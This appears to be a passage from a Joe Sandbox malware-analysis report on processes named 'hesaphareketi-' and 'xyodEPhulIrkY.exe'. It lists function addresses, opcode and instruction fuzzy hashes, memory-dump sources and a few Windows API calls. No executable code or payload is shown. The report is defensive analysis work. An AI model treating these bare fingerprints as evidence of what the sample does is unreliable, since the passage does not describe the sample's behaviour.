Source File: 00000008.00000002.4490894238.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1700000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45d3d295d8986ee54820df9f531701a4c0676057dc24427e1a37ab7f5eefa0f7
Instruction ID: 7ad1960b0d28d9b484a10472be41db03d1118014b59229ba367e83bf634166fc
Opcode Fuzzy Hash: 45d3d295d8986ee54820df9f531701a4c0676057dc24427e1a37ab7f5eefa0f7
Instruction Fuzzy Hash: 9921FC70B40305CFDB16DB68C6586AEB7F6AB49300F6004A8D506EB2E4DF35DE41CBA1

Function 01701678 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4490894238.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1700000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a82d444f4838f396df971aaaaac9836fd0526c257a706225181d8ae80053b29f
Instruction ID: 9c6562942d87b848a4a577d4b0c883353a7fdb8533cbf23503734650eb7e16e9
Opcode Fuzzy Hash: a82d444f4838f396df971aaaaac9836fd0526c257a706225181d8ae80053b29f
Instruction Fuzzy Hash: 7F215E306402018FDB27EF68EC84B19B79AEB45315F505975D40ADB2B6DB3CDC868B91

Function 01704F60 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4490894238.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1700000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7322b7f29a4967f87599857e29928532e473c091beb1d3392d9522905c330fde
Instruction ID: d4ff6e7dda93d2b85893cf5e1d833ca5ad5386750e8984d3ece2d04996c84ee9
Opcode Fuzzy Hash: 7322b7f29a4967f87599857e29928532e473c091beb1d3392d9522905c330fde
Instruction Fuzzy Hash: AA21F874700205CFDB25EF78D658A9EB7F1EB48300F5044A8E506EB3A5EB3A9D41CBA1

Function 0141D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4490057208.000000000141D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0141D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_141d000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9acf243322edc24598b601ae466ebe9845e9a8b0c4d41acc72a812db11c3f84f
Instruction ID: 60f5de3a361db47b3047c738f9cd5b45ed907235d08723096f08b53c480470c9
Opcode Fuzzy Hash: 9acf243322edc24598b601ae466ebe9845e9a8b0c4d41acc72a812db11c3f84f
Instruction Fuzzy Hash: 0D2192B55093808FDB07CF24D594716BF71EB46214F28C5DBD8498F2A7C33A980ACB62

Function 01700848 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4490894238.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1700000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8089b22e96c402bf2cb17f43584756f107da3120a434d902f2aca5a2d91a56e
Instruction ID: 495420043841ac99e59ca2765bd8c17ed2e781bd32582b1480a705d7b019fa72
Opcode Fuzzy Hash: a8089b22e96c402bf2cb17f43584756f107da3120a434d902f2aca5a2d91a56e
Instruction Fuzzy Hash: B1116030B94304CFEF675A7DE404769B6D5FB852A4F10497AE406DB3E2DA29CE818BC1

Function 01700838 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4490894238.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1700000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ae368a5e866598c7ad11f44fc5104d780c67e9fa08d028872be73b9b98b88f9
Instruction ID: 1901b0ca7f3bbe1b98fd24ef7c531b7552dbf1adb633594a3acc74f2f3c6046e
Opcode Fuzzy Hash: 4ae368a5e866598c7ad11f44fc5104d780c67e9fa08d028872be73b9b98b88f9
Instruction Fuzzy Hash: 53119430A90304DFEF275A69A40076EB6D5FB812B4F10493AF406DB2D2D929CE818BC1

Function 0170178A Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4490894238.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1700000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7657f44bbc06eb131720ae65ad18fb34573b126fb91c86e4f207094179d275f
Instruction ID: 69834005987a7af8030fe5f4a8a81175db65155ced9bbb3ed696b9419b3646de
Opcode Fuzzy Hash: b7657f44bbc06eb131720ae65ad18fb34573b126fb91c86e4f207094179d275f
Instruction Fuzzy Hash: 77118276F406119FCB12ABB89C4865E7BF6EB88760F104569DA09D3381EA38DD128BD1

Function 01701452 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4490894238.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1700000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8968b8eab429e9d9d1202bd71e31f08c4ec1877d252f826bace04dd524cc74c6
Instruction ID: 2a5df96d214f95369b886373f64181243aeaa4c6dcefc373842754edb647b520
Opcode Fuzzy Hash: 8968b8eab429e9d9d1202bd71e31f08c4ec1877d252f826bace04dd524cc74c6
Instruction Fuzzy Hash: 13118E71A00315CBCF26EFB888446AEBBF4EF48264B5600B9E805E7381E735D941CBA5

Function 01701460 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4490894238.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1700000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea54f9316dc04024e186f310cebc32ecc893be82dd563941a9dd2c79390815a6
Instruction ID: 056bd7891207e67986ef9d0816b50fed90a0f0bf88c6b1a4b9fe8af706602bbc
Opcode Fuzzy Hash: ea54f9316dc04024e186f310cebc32ecc893be82dd563941a9dd2c79390815a6
Instruction Fuzzy Hash: 27016D31A00315CFCF22EFB884442ADBBE4AB48264B5504BAE805E7391E735D941CBA1

Function 01709918 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4490894238.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1700000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc22efd0a6a8f093814799fe37457b41251c3081a46b69a03f08ee257d48a3b9
Instruction ID: 035814654a4e83e5c0f7b84b3a84aa471637d61e54b56a5d57cca899fc08bc41
Opcode Fuzzy Hash: bc22efd0a6a8f093814799fe37457b41251c3081a46b69a03f08ee257d48a3b9
Instruction Fuzzy Hash: 65019630A102058FDB05DF99D98478ABBA5FF94310F548574C94C5B29AD770D945C7D1

Function 017014EC Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4490894238.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1700000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5823edd75959a021a4477b49f1f6912d829eff0da0e16b61dcf8603b99c5873b
Instruction ID: b85881c25b7b7cfecee745a6e6fb25677707ea5fca011b0b233d353a033868be
Opcode Fuzzy Hash: 5823edd75959a021a4477b49f1f6912d829eff0da0e16b61dcf8603b99c5873b
Instruction Fuzzy Hash: 72F0F636A04350CBDB238BA884901ACFBE0EE6936579A40DBE805DB2A1D325E902D751

Function 01708179 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4490894238.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1700000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc3dd359ecc62891e7d9759a6e1c2822fa9eb2c939816c71822e00cc538d25d2
Instruction ID: 685e1d671aacbf3b1d719f08ddb647a77fa72b660b8ea34205fdb8c29b32dc99
Opcode Fuzzy Hash: dc3dd359ecc62891e7d9759a6e1c2822fa9eb2c939816c71822e00cc538d25d2
Instruction Fuzzy Hash: 07018F705101468FCB0AEF78F985A5D3B75EF41209F1046BDC4059B2A6DE39AE4AC781

Function 01708188 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4490894238.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1700000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6cbeffe962512a0eea9f4812ad765538ee104688fd6f5bb069c92b62e7ea3a2
Instruction ID: c23d7429ba8bb500da8b47b403c804b17e1296d43fa01309f416a9690c019c6d
Opcode Fuzzy Hash: b6cbeffe962512a0eea9f4812ad765538ee104688fd6f5bb069c92b62e7ea3a2
Instruction Fuzzy Hash: 61F03170910109DFCB0AEFB4F94499D7BB9EF40304F5045B9C404AB264DF38AE89CB91

Analysis Process: xyodEPhulIrkY.exePID: 2828, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	162
Total number of Limit Nodes:	8

Executed Functions

Function 00B2B1F0 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00B2B446

Memory Dump Source

Source File: 00000009.00000002.2097387726.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b20000_xyodEPhulIrkY.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 18dd76d320b812462c3a4b4560373e109a1b90229dff49c42f389941f42d5487
Instruction ID: 1b3994760968b33aba2f49ebe55c21f0d473a031dfe247508c45928976397f61
Opcode Fuzzy Hash: 18dd76d320b812462c3a4b4560373e109a1b90229dff49c42f389941f42d5487
Instruction Fuzzy Hash: 9B714470A00B158FDB24DF6AE144B6ABBF5FF88300F008A6DD48AD7A50DB75E945CB91

Function 00B25CC4 Relevance: 1.6, APIs: 1, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00B25D81

Memory Dump Source

Source File: 00000009.00000002.2097387726.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b20000_xyodEPhulIrkY.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: ea6ef4ec1a2616e4383fe8bde5739427f26e063a367ab1411efe9302dc3e4710
Instruction ID: 9e8782bd1ffa1338cb3d9b460f50d8daf137d83f01531965c57bcbf69f534219
Opcode Fuzzy Hash: ea6ef4ec1a2616e4383fe8bde5739427f26e063a367ab1411efe9302dc3e4710
Instruction Fuzzy Hash: 5941F2B1C00629CFDB24DFA9C944BDDBBF5BF48304F20806AD418AB261DB75694ACF91

Function 04BA0BFC Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 04BA4381

Memory Dump Source

Source File: 00000009.00000002.2103385263.0000000004BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4ba0000_xyodEPhulIrkY.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 37728b7a2ce05b0a0abda12ca3e2970752683e8d72b7ee79483308d1d667af0c
Instruction ID: 6c35de3f98323d0f181b5eb50c71817fadcaf2c83a9f8d7724f6dd94d600fd44
Opcode Fuzzy Hash: 37728b7a2ce05b0a0abda12ca3e2970752683e8d72b7ee79483308d1d667af0c
Instruction Fuzzy Hash: 2F4127B5A042099FDB14CF99C488AAEFBF5FF88314F24C499D519A7321D375A841CBA0

Function 00B247C4 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 00B25D81

Memory Dump Source

Source File: 00000009.00000002.2097387726.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b20000_xyodEPhulIrkY.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 964db3454d1f8899139f3a635d47be9ee35bfbb3a11a4670c030007ed4d0c760
Instruction ID: cfec3dc2b1c2351a4962d718e2a2d5e891e89039ed79f60d7d1fdddb188835c1
Opcode Fuzzy Hash: 964db3454d1f8899139f3a635d47be9ee35bfbb3a11a4670c030007ed4d0c760
Instruction Fuzzy Hash: 9541D2B1C00629CBDB24DFA9C944B9DBBF5FF48304F2080AAD418AB255DB75694ACF91

Function 00B2D6B8 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00B2D686,?,?,?,?,?), ref: 00B2D747

Memory Dump Source

Source File: 00000009.00000002.2097387726.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b20000_xyodEPhulIrkY.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 02ea8d291a609db55e566e226b137a5dd6d07988aa834036b727802f1446022d
Instruction ID: c3c7c709c2c8499fd79dd394a3a6c1cf7266d239018bd987d50459d0f446a4f4
Opcode Fuzzy Hash: 02ea8d291a609db55e566e226b137a5dd6d07988aa834036b727802f1446022d
Instruction Fuzzy Hash: 7421E4B59002189FDB10CF9AD584AEEBFF8FB48314F24841AE919A3310C378A940CFA1

Function 00B2CD50 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00B2D686,?,?,?,?,?), ref: 00B2D747

Memory Dump Source

Source File: 00000009.00000002.2097387726.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b20000_xyodEPhulIrkY.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: cb7aca4e0ddf707326432c7fd24ab7282cb68b5c1152aab3d27cb4035190f54d
Instruction ID: ce40a36471e1ccc0ea764cdad5e95fc77999aec77585e00b28c4d415056c39a0
Opcode Fuzzy Hash: cb7aca4e0ddf707326432c7fd24ab7282cb68b5c1152aab3d27cb4035190f54d
Instruction Fuzzy Hash: E521E4B59002189FDB10CFAAD584AEEBFF8FB48310F14845AE918A3310D378A940CFA5

Function 00B2B660 Relevance: 1.6, APIs: 1, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00B2B4C1,00000800,00000000,00000000), ref: 00B2B6D2

Memory Dump Source

Source File: 00000009.00000002.2097387726.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b20000_xyodEPhulIrkY.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 82a9a9514166f3018556a181004b3674890e7c85ce3826e61b371e5814b703b1
Instruction ID: 26d23135c9d22ac0c8299d75011576535d5976d25a9c117bbeb8a4cead69113b
Opcode Fuzzy Hash: 82a9a9514166f3018556a181004b3674890e7c85ce3826e61b371e5814b703b1
Instruction Fuzzy Hash: 871112B6C002499FDB10CF9AD844ADEFBF4EB88310F14846AD529A7300C779A945CFA5

Function 00B2AC28 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00B2B4C1,00000800,00000000,00000000), ref: 00B2B6D2

Memory Dump Source

Source File: 00000009.00000002.2097387726.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b20000_xyodEPhulIrkY.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 62329b00c307096cd9ce853392ea0f7dd195830c20c2473b5b1049f43abfaca5
Instruction ID: 9ea61d267be388575acfc8e1d0ff96949eadac470cb515b03e4bab0fdcc1daac
Opcode Fuzzy Hash: 62329b00c307096cd9ce853392ea0f7dd195830c20c2473b5b1049f43abfaca5
Instruction Fuzzy Hash: B11112B68003199FDB20DF9AD444AAEFBF4EB88310F10846EE519A7210C779A945CFA4

Function 04D464B0 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,?,?,?,00000000,00000E20,?,?,04D46416), ref: 04D4651E

Memory Dump Source

Source File: 00000009.00000002.2104328334.0000000004D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4d40000_xyodEPhulIrkY.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 02cd7e1cff55c90424fe37a1dc927f93dbc20278b9174e58c05ca42b9e6c0d02
Instruction ID: 54f4f818c07aa0afe7aea14513bfd2ae917814ded3521b899298d149a0d3b51c
Opcode Fuzzy Hash: 02cd7e1cff55c90424fe37a1dc927f93dbc20278b9174e58c05ca42b9e6c0d02
Instruction Fuzzy Hash: 511112B6C003498FDB20DFAAD444ADEFBF5AF98314F14842AD41AA7610D379A546CFA1

Function 04D45F20 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,?,?,?,00000000,00000E20,?,?,04D46416), ref: 04D4651E

Memory Dump Source

Source File: 00000009.00000002.2104328334.0000000004D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4d40000_xyodEPhulIrkY.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: da4fea4b5a115b115da9cbb2d7d6e223af8a531e1e0cf0beed212d1f9e1924ff
Instruction ID: fab12ebbf8b172db71528b4fb46193e02194c75636258d2fb4ec0a031f9a84d3
Opcode Fuzzy Hash: da4fea4b5a115b115da9cbb2d7d6e223af8a531e1e0cf0beed212d1f9e1924ff
Instruction Fuzzy Hash: 3F1112B2D006088FDB10DF9AD448A9EFBF4EF89314F10845AD419A7210D379A545CFA1

Function 00B2B3E0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00B2B446

Memory Dump Source

Source File: 00000009.00000002.2097387726.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b20000_xyodEPhulIrkY.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: a34358b19aadd2a43ac3b38bc7676a7610972739dd1a1e37356860548b48a625
Instruction ID: 7db4fde459752edbff3a73e07d709dd566620c1cd3db9a841e7a6276f97cff1c
Opcode Fuzzy Hash: a34358b19aadd2a43ac3b38bc7676a7610972739dd1a1e37356860548b48a625
Instruction Fuzzy Hash: E711DFB6C006598FCB10DF9AD484A9EFBF4EF89314F10845AD529A7311C379A545CFA1

Function 00ABD650 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2096784265.0000000000ABD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ABD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_abd000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc0c767a54bb1bbc39e6db6a6fd38fc668e878f86dd209a2aeaa467d78c683b9
Instruction ID: 93d52c840683a5877ce9b57d860321b205a57049f75dfdea5d6090b0000b22ad
Opcode Fuzzy Hash: cc0c767a54bb1bbc39e6db6a6fd38fc668e878f86dd209a2aeaa467d78c683b9
Instruction Fuzzy Hash: E6213675500244DFCB05DF14D9C0F56BFA9FB88314F248669E9090B257D33AD856DBA1

Function 00ABD4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2096784265.0000000000ABD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ABD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_abd000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7811be23edac058d50d422eea855221b0211cf5b6d5b3d795e0196f6f5aabd09
Instruction ID: 13eada81078571a0270c8776826159a1489ed0656f7bf0fbcf64e4294241a6fb
Opcode Fuzzy Hash: 7811be23edac058d50d422eea855221b0211cf5b6d5b3d795e0196f6f5aabd09
Instruction Fuzzy Hash: 7E212271500244EFCB25DF14D9C0F66BF69FB98318F20C669E9090B257D33AD816DBA2

Function 00ACD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2096972483.0000000000ACD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_acd000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f604e262491ca05cd32ce5ae87f69f844d00ba8856faf7edbe3d18a50482ec7
Instruction ID: c77ec993e05cba6791420f529ddcb65ec817d1b6d5c346f168420cf43e3dc5b7
Opcode Fuzzy Hash: 6f604e262491ca05cd32ce5ae87f69f844d00ba8856faf7edbe3d18a50482ec7
Instruction Fuzzy Hash: 0A21D075604204EFCB14DF28D984F26BFA5FB88314F20C57DD94A4B296C33AD807CA62

Function 00ACD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2096972483.0000000000ACD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_acd000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aa371f4eea56a147d933d58ed28276c117c22ab1c846f7b86c461131d47dbf3
Instruction ID: 18465f6137efa450db4058cdaad53d55bef4bd07d5de65ecd4aab9f59d0cd122
Opcode Fuzzy Hash: 0aa371f4eea56a147d933d58ed28276c117c22ab1c846f7b86c461131d47dbf3
Instruction Fuzzy Hash: A62104B1504204EFDB05DF24D9C0F26BBA5FB88314F24CA7DE9494B296C33AD806CA61

Function 00ACD006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2096972483.0000000000ACD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_acd000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7e2b68da844d8805b9334ebb9972e6009d08079dd8c2276c965d87483ae4525
Instruction ID: f6218b5563d2ff2f4df1068c2c59886c36c7bf632f4ebf715e84dca399f860d7
Opcode Fuzzy Hash: f7e2b68da844d8805b9334ebb9972e6009d08079dd8c2276c965d87483ae4525
Instruction Fuzzy Hash: 9A2180755093808FCB02CF24D994B15BF71EB46314F29C5EED8498F6A7C33A980ACB62

Function 00ABD64B Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2096784265.0000000000ABD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ABD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_abd000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4df52cb15700b59c5b6b401fa95ea1d4e97f6e18881beb99e30f99f1fcf6035
Instruction ID: e6a83fee0f1d762c73fbd0cad3479815d2674e62fcef427c03bfbaedd44fcb0b
Opcode Fuzzy Hash: b4df52cb15700b59c5b6b401fa95ea1d4e97f6e18881beb99e30f99f1fcf6035
Instruction Fuzzy Hash: B421C076404280DFCB06CF00D9C4B56BF72FB98314F24C6A9D9480A257C33AD856DB91

Function 00ABD4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2096784265.0000000000ABD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ABD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_abd000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: c44fc268c1b3ca2943010f6e729bf3460364f4dcb0739a22a7a83cb96502bc2d
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: C811E676504280CFCB16CF14D5C4B56BF71FB98314F24C6A9D9490B657C33AD85ACBA2

Function 00ACD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2096972483.0000000000ACD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_acd000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: ce4bbf5e03242bdba9b9281b656a25a9edc9ab8e43b289707d074af839d0c6c3
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: F0118B76504280DFDB16CF14D9C4B55BBA1FB84314F24C6AED8494B696C33AD84ACB62

Function 00ABD7C5 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2096784265.0000000000ABD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ABD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_abd000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cde4119e40e1f204a635d75000d948f13b28bbddffe2fa127ea1fad1ccecfaa5
Instruction ID: 259de73d83c18c497611a9c629dc450e76378d39bb2535fb9e41e6291de495e2
Opcode Fuzzy Hash: cde4119e40e1f204a635d75000d948f13b28bbddffe2fa127ea1fad1ccecfaa5
Instruction Fuzzy Hash: 93012B31004340DAD7208B56CD84BA7FFACEF55321F28C46AED080A297D6399840CAB1

Function 00ABD7C4 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2096784265.0000000000ABD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ABD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_abd000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f037e837cc38d8c12538511b192365c36423ec7a1517cdd1e2291ca349377364
Instruction ID: bded3d0158fd2756d41f0175dee395e032043f95905d6c9711c984782f51afdd
Opcode Fuzzy Hash: f037e837cc38d8c12538511b192365c36423ec7a1517cdd1e2291ca349377364
Instruction Fuzzy Hash: C0F0F071404344AEE7208F0ADD84BA2FFACEF95335F18C45AED080B287D2799C40CAB0

Analysis Process: xyodEPhulIrkY.exePID: 1628, Parent PID: 2828COMMON

Execution Graph

Execution Coverage:	10.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	28
Total number of Limit Nodes:	6

Executed Functions

Function 0113CF00 Relevance: 2.2, Instructions: 2250COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4490563665.0000000001130000.00000040.00000800.00020000.00000000.sdmp, Offset: 01130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1130000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
